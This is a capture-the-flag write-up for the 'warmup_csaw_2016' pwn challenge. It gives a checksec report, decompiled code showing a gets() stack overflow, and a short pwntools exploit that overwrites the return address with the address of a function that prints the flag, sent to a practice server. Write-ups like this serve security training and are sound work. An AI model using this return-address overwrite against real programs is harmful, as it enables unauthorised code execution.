HugeH4rD

warmup_csaw_2016

---

Ubuntu 16

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/warmup_csaw_2016/warmup_csaw_2016'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found //栈溢出漏洞
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

IDA

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D); 
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);	//gets()函数存在栈溢出
}

sprintf输出了sub_40060D的地址 //0x40060d

查看Sub_40060D

Up	o	sub_40060D+4	mov     edi, offset command; "cat flag.txt"

int sub_40060D()
{
  return system("cat flag.txt");

0x02

---

思路

1.利用gets处的溢出覆盖ret为sub_40060D()函数

s	0x40
ebp	0x8
ret	0x40061B

0x03

---

exp

from pwn import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'
# io = process(['warmup_csaw_2016'])
io = remote('node4.buuoj.cn',27489)

func_addr = 0x40060d
padding = 0x40 + 0x8
payload = b'a' * padding + p64(func_addr)

io.send(payload)
io.interactive()